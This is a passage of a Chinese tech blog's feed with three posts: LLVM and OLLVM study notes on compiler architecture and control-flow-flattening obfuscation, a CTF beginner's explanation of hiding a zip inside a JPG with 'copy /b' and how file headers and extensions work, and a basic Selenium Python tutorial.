    <content type="html"><![CDATA[<h1 id="LLVM学习笔记"><a href="#LLVM学习笔记" class="headerlink" title="LLVM学习笔记"></a>LLVM学习笔记</h1><h2 id="什么是LLVM"><a href="#什么是LLVM" class="headerlink" title="什么是LLVM"></a>什么是LLVM</h2><p>LLVM 是一个高度模块化、可重用的编译器基础框架。它通过统一的中间表示（IR）连接了编程语言和目标硬件，让创造新语言、支持新硬件变得更简单，同时提供了一流的代码优化能力。LLVM主要聚焦于编译器后端功能，如代码生成、代码优化、代码混淆、JIT等。</p><h2 id="LLVM的架构"><a href="#LLVM的架构" class="headerlink" title="LLVM的架构"></a>LLVM的架构</h2><ul><li>LLVM大致架构与传统编译器相同，都由前端、优化器、后端组成。</li><li>但传统编译器的前端、优化器、后端是高度耦合的，对于不同的编程语言，往往需要不同的前端、优化器、后端来得到特定平台的机器码。</li><li>举个例子: 如果要支持 M 门语言和 N 个硬件平台，就需要开发近乎 M x N 个不同的编译器或进行大量的重复性适配工作，维护成本和开发难度极高。每新增一个支持，就需要M或N个编译器，或者大量的适配工作。</li><li>而LLVM则是将不同，因其引入了统一的中间表示，它更加“松散”。</li><li>同样的例子，LLVM新增支持可能仅需关心一对一，即如何到IR或者IR到新硬件平台的机器码。</li><li>工作流程表示:</li></ul><blockquote><p>源代码 (C++, Swift, Rust 等)<br>       |<br>       v<br>[ 前端：Clang / rustc 等 ]<br>       |<br>       v<br>LLVM 中间表示 (IR)<br>       |<br>       v<br>[ 优化器：进行各种代码优化 ]<br>       |<br>       v<br>优化后的 LLVM IR<br>       |<br>       v<br>[ 后端：针对 x86, ARM 等 ]<br>       |<br>       v<br>特定平台的机器码</p></blockquote><h3 id="前端-Frontend"><a href="#前端-Frontend" class="headerlink" title="前端 (Frontend)"></a>前端 (Frontend)</h3><ul><li><strong>作用</strong>：负责将各种不同的高级编程语言源代码，解析并转换为统一的、与语言无关的 <strong>LLVM IR</strong>。</li></ul><h3 id="优化器-Optimizer"><a href="#优化器-Optimizer" class="headerlink" title="优化器 (Optimizer)"></a>优化器 (Optimizer)</h3><ul><li><p><strong>作用</strong>：这是 LLVM 的核心。它接收来自前端生成的 LLVM IR，并对其进行一系列的分析和优化，目的是让代码运行得更快、体积更小，或者进行保护。</p></li><li><p><strong>特点</strong>：过程完全独立于源代码语言和目标硬件的，为通用的优化层。</p></li></ul><h3 id="后端-Backend"><a href="#后端-Backend" class="headerlink" title="后端 (Backend)"></a>后端 (Backend)</h3><ul><li><strong>作用</strong>：负责将经过优化器处理过的 LLVM IR，转换为特定硬件平台（CPU 架构）的原生机器码。</li></ul><p>LLVM 是一个编译器基础设施（平台），而 Clang 是这个平台上最官方、最著名的前端之一。</p><p>广义的LLVM是指整个LLVM架构，一般狭义的LLVM指的是LLVM后端（包含代码优化和目标代码生成）。</p><h2 id="代码混淆"><a href="#代码混淆" class="headerlink" title="代码混淆"></a>代码混淆</h2><p><strong>定义</strong>：代码混淆是将计算机程序的代码，转换成一种功能上等价，但是难以阅读和理解的形式的行为。</p><p>开发者通常会编写自定义的 LLVM Pass 来实现一种或多种混淆技术。</p><p>一个著名且强大的的混淆技术就是<strong>控制流平坦化</strong>(Control Flow Flattening)</p><ul><li>原始代码：代码有清晰的 if-else、for、while、switch 结构，其控制流图（CFG）逻辑清晰。</li><li><p>混淆后：</p><pre><code>  - 将函数内所有的代码块（Basic Blocks）打散，放入一个巨大的 switch 语句中。  - 用一个主分发器（通常是一个 while 循环）来控制程序流程。  - 引入一个“状态变量”，循环的每一步都根据这个状态变量的值，switch 到对应的代码块去执行。  - 每个代码块执行完毕后，会修改这个状态变量，告诉主分发器下一步应该跳到哪里。</code></pre></li><li><p>效果：原始的逻辑结构完全消失了，取而代-之的是一个巨大的、扁平的循环。逆向工程师无法再通过分析控制流图来理解程序逻辑，分析难度呈指数级上升。</p></li></ul><h3 id="学习混淆的意义"><a href="#学习混淆的意义" class="headerlink" title="学习混淆的意义"></a>学习混淆的意义</h3><p>对于软件开发者：一定程度上防止代码被逆向破解</p><p>对于逆向工程师：帮助我们研究反混淆技术</p><p>这就得提到OLLVM了。</p><h2 id="什么是OLLVM"><a href="#什么是OLLVM" class="headerlink" title="什么是OLLVM"></a>什么是OLLVM</h2><p>OLLVM (Obfuscator-LLVM)：基于 LLVM 的代码混淆框架</p><h3 id="核心定义与目标"><a href="#核心定义与目标" class="headerlink" title="核心定义与目标"></a>核心定义与目标</h3><p>OLLVM (Obfuscator-LLVM) 是一个著名的、基于 LLVM 框架的开源代码混淆项目。它最初由瑞士西北应用科技大学安全实验室于2010年发起，其核心目标是创建一个 LLVM 的特殊分支，通过在编译过程中自动注入代码混淆和防篡改逻辑，极大地提升逆向工程的分析门槛，从而增强软件的最终安全性。</p><h3 id="技术实现原理：基于-Pass-的-IR-层混淆"><a href="#技术实现原理：基于-Pass-的-IR-层混淆" class="headerlink" title="技术实现原理：基于 Pass 的 IR 层混淆"></a>技术实现原理：基于 Pass 的 IR 层混淆</h3><p>OLLVM 的精髓在于其基于 Pass 的混淆机制。它完美利用了 LLVM 的模块化架构，在编译器的心脏地带——中间表示（IR）层面——进行操作。开发者通过编写一系列自定义的混淆 Pass（例如控制流平坦化、虚假控制流等），将原本结构清晰的 IR 代码变得逻辑复杂、难以理解。</p><p>由于后续的后端流程完全基于这份 IR 来生成机器码，因此这份复杂性便被忠实地保留在了最终的可执行文件中。</p><h3 id="核心优势：跨语言与跨平台"><a href="#核心优势：跨语言与跨平台" class="headerlink" title="核心优势：跨语言与跨平台"></a>核心优势：跨语言与跨平台</h3><p>得益于 LLVM 的解耦设计，OLLVM 的混淆能力是跨语言、跨平台的。原则上，任何能够被编译成 LLVM IR 的语言（如 C, C++, Objective-C 等），都能利用 OLLVM 进行混淆，并最终部署到 LLVM 支持的任意硬件平台（如 x86, ARM 等）上，而无需修改混淆逻辑本身。</p><h3 id="项目现状与影响"><a href="#项目现状与影响" class="headerlink" title="项目现状与影响"></a>项目现状与影响</h3><p>OLLVM 本身是一个里程碑式的历史性项目，其官方支持的 LLVM 版本较为陈旧，目前已不再积极维护。</p><p>尽管如此，它的设计思想和开源实现对后来的代码混淆技术产生了深远的影响，催生了许多功能更强大、支持更新 LLVM 版本的现代化项目（例如 Hikari 等）。因此，OLLVM 至今仍是学习 LLVM Pass 开发和代码混淆技术的重要参考。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;LLVM学习笔记&quot;&gt;&lt;a href=&quot;#LLVM学习笔记&quot; class=&quot;headerlink&quot; title=&quot;LLVM学习笔记&quot;&gt;&lt;/a&gt;LLVM学习笔记&lt;/h1&gt;&lt;h2 id=&quot;什么是LLVM&quot;&gt;&lt;a href=&quot;#什么是LLVM&quot; class=&quot;header</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>隐写术-文件合并</title>
    <link href="https://0neqiu.me/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/CTF/%E9%9A%90%E5%86%99%E6%9C%AF-%E6%96%87%E4%BB%B6%E5%90%88%E5%B9%B6/"/>
    <id>https://0neqiu.me/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/CTF/%E9%9A%90%E5%86%99%E6%9C%AF-%E6%96%87%E4%BB%B6%E5%90%88%E5%B9%B6/</id>
    <published>2025-06-24T11:02:17.000Z</published>
    <updated>2025-12-02T12:05:10.572Z</updated>
    
    <content type="html"><![CDATA[<h1 id="隐写术-文件合并"><a href="#隐写术-文件合并" class="headerlink" title="隐写术-文件合并"></a>隐写术-文件合并</h1><h2 id="前言：一个神奇的现象"><a href="#前言：一个神奇的现象" class="headerlink" title="前言：一个神奇的现象"></a>前言：一个神奇的现象</h2><p>你是否曾在网上下载过一张看似普通的图片，却被告知“把后缀名改成.zip试试”？或者，你是否在CTF比赛中遇到过一张无法正常打开，却暗藏玄机的图片？</p><p>今天，我们就来揭开这个神奇现象背后的秘密——“图种”（Picture-Seed）。我们将从原理到实践，一步步带你了解为什么一张图片里，竟然可以藏着一个完整的压缩包。</p><p><img src="https://cdn.jsdelivr.net/gh/yiyeqiuyu/my-blog-images@main/25/6/24/Steganography_1_28a22d67f0f748767e75ee41eddc6996.jpg" width="350" alt="Steganography_1.jpg"><br><em>画师/Artist: <a href="https://www.pixiv.net/users/58434088">AmaiA</a></em><br><em>作品原址/Source: <a href="https://www.pixiv.net/artworks/111363525">Pixiv</a></em></p><h2 id="什么是“图种”？"><a href="#什么是“图种”？" class="headerlink" title="什么是“图种”？"></a>什么是“图种”？</h2><p>“图种”，顾名思义，就是“图片种子”。这是一种将一个或多个文件（通常是压缩包）隐藏在一张图片文件中的技术。</p><p>从技术上讲，这是一种非常基础但有效的数据隐藏或<strong>文件合并</strong>技巧。</p><h2 id="动手实践：制作一个自己的“图种”"><a href="#动手实践：制作一个自己的“图种”" class="headerlink" title="动手实践：制作一个自己的“图种”"></a>动手实践：制作一个自己的“图种”</h2><p>在深入原理之前，让我们先亲手制作一个。</p><p><strong>准备材料：</strong></p><ol><li>一张图片，我们称之为 <code>image.jpg</code>。</li><li>一个压缩包，我们称之为 <code>archive.zip</code>。（把任何你想隐藏的文件压缩一下即可）</li></ol><p><strong>操作步骤 (以Windows为例):</strong></p><ol><li>将 <code>image.jpg</code> 和 <code>archive.zip</code> 放在同一个文件夹下。</li><li>在该文件夹的地址栏输入 <code>cmd</code> 并回车，打开命令行窗口。</li><li><p>输入以下命令并回车：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">copy /b image.jpg + archive.zip new_image.jpg</span><br></pre></td></tr></table></figure></li></ol><p><strong>命令解析：</strong></p><ul><li><code>copy</code>：Windows的复制命令。</li><li><code>/b</code>：这个参数至关重要，它告诉 <code>copy</code> 命令以<strong>二进制模式（binary）</strong>来处理文件，确保文件内容在合并时不会因为遇到特殊字符而中断。</li><li><code>image.jpg + archive.zip</code>：表示将两个文件按顺序连接起来。</li><li><code>new_image.jpg</code>：这是我们最终输出的“图种”文件名。</li></ul><h2 id="深入原理"><a href="#深入原理" class="headerlink" title="深入原理"></a>深入原理</h2><p>为什么同一个文件，图片查看器和压缩软件会看到不同的内容？答案在于它们<strong>解析（Parse）文件的方式不同</strong>。</p><blockquote><p><strong>核心原理：</strong> 不同的软件程序会根据自己感兴趣的<strong>文件头（Magic Number）</strong>和<strong>结束标记（End-of-File Marker）</strong>来读取文件。 </p></blockquote><ol><li><strong>图片查看器的工作方式：</strong></li></ol><ul><li>它打开文件，首先读取文件开头的几个字节——文件头。比如PNG的 <code>89 50 4E 47</code>。</li><li>识别出“哦，这是张PNG图片”后，它便开始按照PNG的格式规范来渲染图像。</li><li>当它读取到PNG的结束标记（如 <code>IEND</code> 块）时，它就认为图片已经完整了，工作到此结束。</li><li><strong>对于文件结束标记之后的所有数据，它会选择完全忽略。</strong></li></ul><ol><li><strong>压缩软件的工作方式：</strong><ul><li>它被设计得非常健壮，会扫描整个文件，寻找它所认识的文件头，比如ZIP的 <code>50 4B 03 04</code>。</li><li>当它在文件的中间部分找到了这个“接头暗号”，它就会忽略之前所有的数据（在它看来是无用的“垃圾数据”）。</li><li>从这个ZIP文件头开始，它将后续的数据视为一个标准的压缩包进行处理，并成功读取出压缩包内的文件列表。</li></ul></li></ol><p>简单来说，就是两个程序各取所需，互不干扰，共同造就了这个神奇的“伪装术”。</p><p>值得一提的是文件扩展名的原理，因为这是多数人日常中使用最多的文件判断方式</p><h3 id="文件扩展名的实现原理"><a href="#文件扩展名的实现原理" class="headerlink" title="文件扩展名的实现原理"></a>文件扩展名的实现原理</h3><p>文件扩展名的实现原理并非单一的技术，而是一个建立在<strong>操作系统、应用程序和用户习惯</strong>之上的<strong>约定和关联机制</strong>。核心可以分解为以下几个层面：</p><h4 id="1-操作系统层面的“注册表”或“关联数据库”"><a href="#1-操作系统层面的“注册表”或“关联数据库”" class="headerlink" title="1. 操作系统层面的“注册表”或“关联数据库”"></a>1. 操作系统层面的“注册表”或“关联数据库”</h4><p>这是最核心的实现机制。每个主流操作系统都有一个地方，像一本“字典”或“注册表”，记录着文件扩展名和应用程序之间的对应关系。</p><ul><li><strong>在 Windows 中：</strong> 这个“字典”就是大名鼎鼎的<strong>注册表（Registry）</strong>。在注册表的 <code>HKEY_CLASSES_ROOT</code> 项下，详细定义了几乎所有已知的文件扩展名。<ul><li>例如，它会记录 <code>.docx</code> 这个扩展名关联的 <strong>ProgID</strong> (Programmatic Identifier)，比如 <code>Word.Document.12</code>。</li><li>接着，系统会查找 <code>Word.Document.12</code> 这个 ProgID，找到它所关联的打开命令，通常指向 <code>WINWORD.EXE</code> 这个程序，并附带参数告诉程序要打开哪个文件。</li></ul></li><li><strong>在 macOS 中：</strong> 这个机制由 <strong>Launch Services</strong> (启动服务) 管理。系统维护着一个数据库，这个数据库通过应用程序的 <code>Info.plist</code> 文件来建立。<ul><li>每个应用程序的 <code>Info.plist</code> 文件中会声明它可以处理哪些 <strong>UTI (Uniform Type Identifier)</strong>，例如 <code>com.microsoft.word.docx</code>。</li><li>同时，系统会把文件扩展名 <code>.docx</code> 映射到这个 UTI。当你双击文件时，Launch Services 会查找哪个应用程序声明了可以处理这个 UTI，然后启动它。</li></ul></li><li><strong>在 Linux (桌面环境如 GNOME, KDE) 中：</strong> 这个机制基于 <strong>MIME 类型 (Multipurpose Internet Mail Extensions)</strong> 和 <code>.desktop</code> 文件。<ul><li>系统有一个 MIME 数据库（例如 <code>mime.types</code> 文件），它将文件扩展名（如 <code>.pdf</code>）映射到一个 MIME 类型（如 <code>application/pdf</code>）。</li><li>然后，在 <code>/usr/share/applications/</code> 等目录下的 <code>.desktop</code> 文件中，每个应用程序会声明它可以打开哪些 MIME 类型。</li><li>当你双击文件时，桌面环境会查询文件的 MIME 类型，然后找到一个合适的 <code>.desktop</code> 文件来启动对应的程序。</li></ul></li></ul><h4 id="2-应用程序层面的“自我声明”"><a href="#2-应用程序层面的“自我声明”" class="headerlink" title="2. 应用程序层面的“自我声明”"></a>2. 应用程序层面的“自我声明”</h4><p>操作系统如何知道 <code>.docx</code> 应该由 Word 打开呢？这源于应用程序在安装时的“自我声明”或“注册”过程。</p><ol><li><strong>安装过程</strong>：当你安装 Microsoft Office 或 WPS Office 时，安装程序会主动与操作系统交互。</li><li><strong>写入关联信息</strong>：它会向操作系统的“注册表”或“关联数据库”中写入信息，告诉系统：“你好，我是 Word/WPS，以后凡是遇到 <code>.docx</code>, <code>.doc</code> 等文件，都请交给我来处理。”</li><li><strong>更新默认程序</strong>：如果电脑上装了多个可以处理 <code>.docx</code> 的程序，操作系统会根据用户的选择或软件的设置，确定一个<strong>默认程序</strong>。这个默认程序的关联信息会被优先使用。</li></ol><h4 id="3-文件系统层面的“无知”"><a href="#3-文件系统层面的“无知”" class="headerlink" title="3. 文件系统层面的“无知”"></a>3. 文件系统层面的“无知”</h4><p>这是一个非常关键但容易被忽略的点：<strong>文件系统本身对文件扩展名是一无所知的</strong>。</p><p>对于文件系统（如 NTFS, APFS, EXT4）来说，<code>mydocument.docx</code> 仅仅是一个由 <code>m-y-d-o-c-u-m-e-n-t-.-d-o-c-x</code> 字符串组成的文件名。扩展名 <code>.docx</code> 对于文件系统而言，与文件名中的其他任何字符没有本质区别。它不会因为这个扩展名而对文件做任何特殊处理。</p><p>文件扩展名的“魔力”完全是由上层的<strong>操作系统和应用程序</strong>赋予的。</p><h4 id="实现原理总结"><a href="#实现原理总结" class="headerlink" title="实现原理总结"></a>实现原理总结</h4><p>将整个流程串联起来，当你双击一个名为 <code>report.pdf</code> 的文件时，发生的事情是：</p><ol><li><strong>用户操作</strong>：你双击了 <code>report.pdf</code> 文件。</li><li><strong>操作系统捕获事件</strong>：操作系统（或其图形化外壳 Shell）接收到这个双击事件。</li><li><strong>解析文件名</strong>：操作系统查看文件名，并识别出最后的 <code>.pdf</code> 部分作为文件扩展名。</li><li>查询关联数据库:<ul><li><strong>Windows</strong> 会去查注册表，找到 <code>.pdf</code> 关联的程序，比如 Adobe Acrobat Reader 。</li><li><strong>macOS</strong> 会通过 Launch Services，查找 <code>.pdf</code> 对应的 UTI (<code>com.adobe.pdf</code>)，然后找到声明能处理此 UTI 的程序。</li><li><strong>Linux</strong> 会查找 <code>.pdf</code> 对应的 MIME 类型 (<code>application/pdf</code>)，然后找到关联这个 MIME 类型的 <code>.desktop</code> 文件，并执行其中的命令。</li></ul></li><li><strong>启动应用程序</strong>：操作系统执行找到的命令，启动对应的应用程序（如 Adobe Acrobat Reader），并将 <code>report.pdf</code> 的完整文件路径作为参数传递给它。</li><li><strong>应用程序加载文件</strong>：Adobe Acrobat Reader 启动后，接收到文件路径参数，然后打开并显示 <code>report.pdf</code> 的内容。</li></ol><p>因此，文件扩展名的实现原理本质上是一个<strong>基于“约定”的、由操作系统维护的“查找表”机制</strong>，它将文件名中的一小段字符串（扩展名）与具体的应用程序行为绑定在了一起。</p><blockquote><p>然而，不同于人的判断方法，操作系统<strong>通过解析可执行文件的</strong>文件头<strong>，来理解程序的结构和需求，然后由</strong>加载器（Loader）将文件内容正确地映射到<strong>**内存中，最后把控制权交给CPU</strong>，从指定的<strong>入口点</strong>开始执行内存中的机器码</p></blockquote><h2 id="扩展与联想：更多类似的方法"><a href="#扩展与联想：更多类似的方法" class="headerlink" title="扩展与联想：更多类似的方法"></a>扩展与联想：更多类似的方法</h2><p>“图种”只是信息隐藏世界的冰山一角。基于类似的“利用文件结构差异”的原理，还衍生出了许多有趣的技术：</p><ul><li><strong>其他文件合并：</strong> 如 <code>HTML + ZIP</code> 的组合。</li><li><strong>元数据隐藏：</strong> 将信息藏在图片的EXIF信息或MP3的ID3标签里。</li><li><strong>LSB隐写：</strong> 修改图片像素中人眼无法分辨的最低有效位来隐藏数据。</li><li><strong>NTFS交换数据流：</strong> Windows文件系统特有的文件“背后”藏文件的黑魔法。</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>通过今天的探索，我们不仅学会了如何制作一个“图种”，更重要的是理解了其背后的计算机基础原理——<strong>文件皆为二进制，程序按需来解析</strong>。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;隐写术-文件合并&quot;&gt;&lt;a href=&quot;#隐写术-文件合并&quot; class=&quot;headerlink&quot; title=&quot;隐写术-文件合并&quot;&gt;&lt;/a&gt;隐写术-文件合并&lt;/h1&gt;&lt;h2 id=&quot;前言：一个神奇的现象&quot;&gt;&lt;a href=&quot;#前言：一个神奇的现象&quot; class=&quot;</summary>
      
    
    
    
    <category term="技术分享" scheme="https://0neqiu.me/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/"/>
    
    <category term="CTF" scheme="https://0neqiu.me/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/CTF/"/>
    
    
    <category term="隐写" scheme="https://0neqiu.me/tags/%E9%9A%90%E5%86%99/"/>
    
    <category term="Steganography" scheme="https://0neqiu.me/tags/Steganography/"/>
    
    <category term="文件合并" scheme="https://0neqiu.me/tags/%E6%96%87%E4%BB%B6%E5%90%88%E5%B9%B6/"/>
    
    <category term="二进制" scheme="https://0neqiu.me/tags/%E4%BA%8C%E8%BF%9B%E5%88%B6/"/>
    
    <category term="JPG" scheme="https://0neqiu.me/tags/JPG/"/>
    
    <category term="WinRAR" scheme="https://0neqiu.me/tags/WinRAR/"/>
    
    <category term="Misc" scheme="https://0neqiu.me/tags/Misc/"/>
    
    <category term="CTF入门" scheme="https://0neqiu.me/tags/CTF%E5%85%A5%E9%97%A8/"/>
    
  </entry>
  
  <entry>
    <title>Selenium 基础入门教程（Python版）</title>
    <link href="https://0neqiu.me/%E6%8A%80%E6%9C%AF%E6%95%99%E7%A8%8B/Web%E8%87%AA%E5%8A%A8%E5%8C%96/selenium_python_intro/"/>
    <id>https://0neqiu.me/%E6%8A%80%E6%9C%AF%E6%95%99%E7%A8%8B/Web%E8%87%AA%E5%8A%A8%E5%8C%96/selenium_python_intro/</id>
    <published>2025-06-12T07:26:12.000Z</published>
    <updated>2025-12-02T12:05:10.572Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Selenium-基础入门教程（Python版）"><a href="#Selenium-基础入门教程（Python版）" class="headerlink" title="Selenium 基础入门教程（Python版）"></a>Selenium 基础入门教程（Python版）</h1><h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#简介">简介</a></li><li><a href="#环境准备">环境准备</a></li><li><a href="#第一个-selenium-脚本">第一个 Selenium 脚本</a></li><li><a href="#常见元素定位方式">常见元素定位方式</a></li><li><a href="#常见网页操作">常见网页操作</a></li><li><a href="#等待机制">等待机制</a></li><li><a href="#实战任务示例">实战任务示例</a></li><li><a href="#常见问题排查">常见问题排查</a></li></ul><hr><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p><strong>Selenium</strong> 是一个用于自动化浏览器操作的工具，常用于：</p><ul><li>自动化测试</li><li>爬虫抓取网页数据</li><li>自动化任务（如刷网页、填表单等）</li></ul><hr><h2 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h2><h3 id="安装-Selenium"><a href="#安装-Selenium" class="headerlink" title="安装 Selenium"></a>安装 Selenium</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install selenium</span><br></pre></td></tr></table></figure><h3 id="下载-ChromeDriver"><a href="#下载-ChromeDriver" class="headerlink" title="下载 ChromeDriver"></a>下载 ChromeDriver</h3><ol><li>查浏览器版本：在 Chrome 地址栏输入 <code>chrome://version/</code></li><li>下载对应版本驱动：<a href="https://googlechromelabs.github.io/chrome-for-testing/">https://googlechromelabs.github.io/chrome-for-testing/</a></li><li>解压后将 <code>chromedriver.exe</code>：<ul><li>放入脚本目录，或</li><li>添加到系统环境变量 Path</li></ul></li></ol><hr><h2 id="第一个-Selenium-脚本"><a href="#第一个-Selenium-脚本" class="headerlink" title="第一个 Selenium 脚本"></a>第一个 Selenium 脚本</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> selenium <span class="keyword">import</span> webdriver</span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.common.by <span class="keyword">import</span> By</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动浏览器</span></span><br><span class="line">driver = webdriver.Chrome()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 打开网页</span></span><br><span class="line">driver.get(<span class="string">&quot;https://www.bing.com&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输入关键词</span></span><br><span class="line">search_box = driver.find_element(By.NAME, <span class="string">&quot;q&quot;</span>)</span><br><span class="line">search_box.send_keys(<span class="string">&quot;Selenium 教程&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提交搜索</span></span><br><span class="line">search_box.submit()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 等待几秒</span></span><br><span class="line">time.sleep(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 关闭浏览器</span></span><br><span class="line">driver.quit()</span><br></pre></td></tr></table></figure><hr><h2 id="常见元素定位方式"><a href="#常见元素定位方式" class="headerlink" title="常见元素定位方式"></a>常见元素定位方式</h2><div class="table-container"><table><thead><tr><th>方法</th><th>示例</th><th>说明</th></tr></thead><tbody><tr><td><code>By.ID</code></td><td><code>By.ID, &quot;kw&quot;</code></td><td>通过元素 id</td></tr><tr><td><code>By.NAME</code></td><td><code>By.NAME, &quot;q&quot;</code></td><td>通过 name 属性</td></tr><tr><td><code>By.XPATH</code></td><td><code>By.XPATH, &quot;//div[@class=&#39;xx&#39;]&quot;</code></td><td>万能但性能稍慢</td></tr><tr><td><code>By.CSS_SELECTOR</code></td><td><code>By.CSS_SELECTOR, &quot;.btn&quot;</code></td><td>推荐，快速且灵活</td></tr></tbody></table></div><hr><h2 id="常见网页操作"><a href="#常见网页操作" class="headerlink" title="常见网页操作"></a>常见网页操作</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">element.send_keys(<span class="string">&quot;输入内容&quot;</span>)     <span class="comment"># 输入文本</span></span><br><span class="line">element.click()                  <span class="comment"># 点击元素</span></span><br><span class="line">element.clear()                  <span class="comment"># 清空输入框</span></span><br><span class="line">driver.back()                    <span class="comment"># 回退</span></span><br><span class="line">driver.forward()                 <span class="comment"># 前进</span></span><br><span class="line">driver.refresh()                 <span class="comment"># 刷新页面</span></span><br><span class="line">driver.get_screenshot_as_file(<span class="string">&quot;screenshot.png&quot;</span>)  <span class="comment"># 截图</span></span><br></pre></td></tr></table></figure><hr><h2 id="等待机制"><a href="#等待机制" class="headerlink" title="等待机制"></a>等待机制</h2><h3 id="显式等待（推荐）"><a href="#显式等待（推荐）" class="headerlink" title="显式等待（推荐）"></a>显式等待（推荐）</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> selenium.webdriver.support.ui <span class="keyword">import</span> WebDriverWait</span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.support <span class="keyword">import</span> expected_conditions <span class="keyword">as</span> EC</span><br><span class="line"></span><br><span class="line">wait = WebDriverWait(driver, <span class="number">10</span>)</span><br><span class="line">element = wait.until(EC.presence_of_element_located((By.ID, <span class="string">&quot;some_id&quot;</span>)))</span><br></pre></td></tr></table></figure><hr><h2 id="实战任务示例：百度搜索“Python”"><a href="#实战任务示例：百度搜索“Python”" class="headerlink" title="实战任务示例：百度搜索“Python”"></a>实战任务示例：百度搜索“Python”</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> selenium <span class="keyword">import</span> webdriver</span><br><span class="line"><span class="keyword">from</span> selenium.webdriver.common.by <span class="keyword">import</span> By</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">driver = webdriver.Chrome()</span><br><span class="line">driver.get(<span class="string">&quot;https://www.baidu.com&quot;</span>)</span><br><span class="line"></span><br><span class="line">search = driver.find_element(By.ID, <span class="string">&quot;kw&quot;</span>)</span><br><span class="line">search.send_keys(<span class="string">&quot;Python&quot;</span>)</span><br><span class="line"></span><br><span class="line">button = driver.find_element(By.ID, <span class="string">&quot;su&quot;</span>)</span><br><span class="line">button.click()</span><br><span class="line"></span><br><span class="line">time.sleep(<span class="number">5</span>)</span><br><span class="line">driver.quit()</span><br></pre></td></tr></table></figure><hr><h2 id="常见问题排查"><a href="#常见问题排查" class="headerlink" title="常见问题排查"></a>常见问题排查</h2><div class="table-container"><table><thead><tr><th>问题</th><th>解决方案</th></tr></thead><tbody><tr><td><code>chromedriver</code> 找不到</td><td>检查是否配置在 PATH 或路径是否正确</td></tr><tr><td>浏览器版本不兼容</td><td>更新 Chrome 或下载对应版本的 ChromeDriver</td></tr><tr><td>报错 <code>DeprecationWarning</code></td><td>使用新版 <code>By.XPATH</code>、<code>By.ID</code> 等方法</td></tr><tr><td>页面加载太慢</td><td>使用显式等待而非 <code>time.sleep()</code></td></tr></tbody></table></div><hr><h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><h3 id="查看浏览器版本"><a href="#查看浏览器版本" class="headerlink" title="查看浏览器版本"></a>查看浏览器版本</h3><ul><li>Chrome 地址栏输入：<code>chrome://version</code></li></ul><h3 id="ChromeDriver-下载地址"><a href="#ChromeDriver-下载地址" class="headerlink" title="ChromeDriver 下载地址"></a>ChromeDriver 下载地址</h3><ul><li><a href="https://googlechromelabs.github.io/chrome-for-testing/">https://googlechromelabs.github.io/chrome-for-testing/</a></li></ul><h3 id="参考仓库"><a href="#参考仓库" class="headerlink" title="参考仓库"></a>参考仓库</h3><ul><li><a href="https://github.com/christian-bromann/awesome-selenium">https://github.com/christian-bromann/awesome-selenium</a></li><li><a href="https://github.com/Jack-Cherish/python-spider">https://github.com/Jack-Cherish/python-spider(丰富示例)</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Selenium-基础入门教程（Python版）&quot;&gt;&lt;a href=&quot;#Selenium-基础入门教程（Python版）&quot; class=&quot;headerlink&quot; title=&quot;Selenium 基础入门教程（Python版）&quot;&gt;&lt;/a&gt;Selenium 基础入门教</summary>
      
    
    
    
    <category term="技术教程" scheme="https://0neqiu.me/categories/%E6%8A%80%E6%9C%AF%E6%95%99%E7%A8%8B/"/>
    
